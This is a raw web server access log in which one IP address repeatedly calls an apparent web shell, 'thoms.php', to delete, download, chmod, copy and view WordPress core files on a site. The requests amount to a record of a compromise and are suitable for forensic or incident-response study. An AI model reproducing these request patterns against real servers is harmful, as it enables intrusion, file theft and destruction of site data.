45.135.193.11 - - [11/Sep/2026:23:37:33 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59441 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:33 -0400] "GET /betcity.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:33 -0400] "GET /thoms.php?del=Requests&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59447 "http://163.245.207.76:443/thoms.php?del=Requests&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?del=default-constants.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 200 18363 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?dl=vars.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59335 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffunctions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffunctions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 200 19203 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /thoms.php?chmod=plugin.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:34 -0400] "GET /thoms.php?del=general-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /betcity.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 200 14033 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 200 14037 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59450 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /betcity.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /thoms.php?chmod=wp-db.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:35 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:36 -0400] "GET /betcity.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:36 -0400] "GET /thoms.php?dl=class-http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:36 -0400] "GET /thoms.php?del=class-IXR.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:36 -0400] "GET /thoms.php?del=class-walker-category.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:36 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:36 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:36 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59446 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /betcity.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59393 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 200 15892 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 200 13967 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:37 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 200 14948 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:38 -0400] "GET /betcity.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:38 -0400] "GET /thoms.php?dl=robots-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:38 -0400] "GET /thoms.php?del=category.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=category.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:38 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:38 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:39 -0400] "GET /betcity.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:39 -0400] "GET /thoms.php?dl=error-protection.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:39 -0400] "GET /thoms.php?chmod=ai-client.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:39 -0400] "GET /betcity.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:39 -0400] "GET /thoms.php?del=template-loader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:39 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:39 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /betcity.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 200 13227 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:39 -0400] "GET /thoms.php?dl=ms-site.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /betcity.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?chmod=registration.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 200 15404 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 200 12360 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59419 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?del=class-wp-comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:40 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59440 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 200 14073 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:41 -0400] "GET /thoms.php?dl=class-wp-site.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 200 100307 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 200 12366 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:41 -0400] "GET /thoms.php?dl=ms-network.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 200 14282 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:41 -0400] "GET /thoms.php?dl=style-engine.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
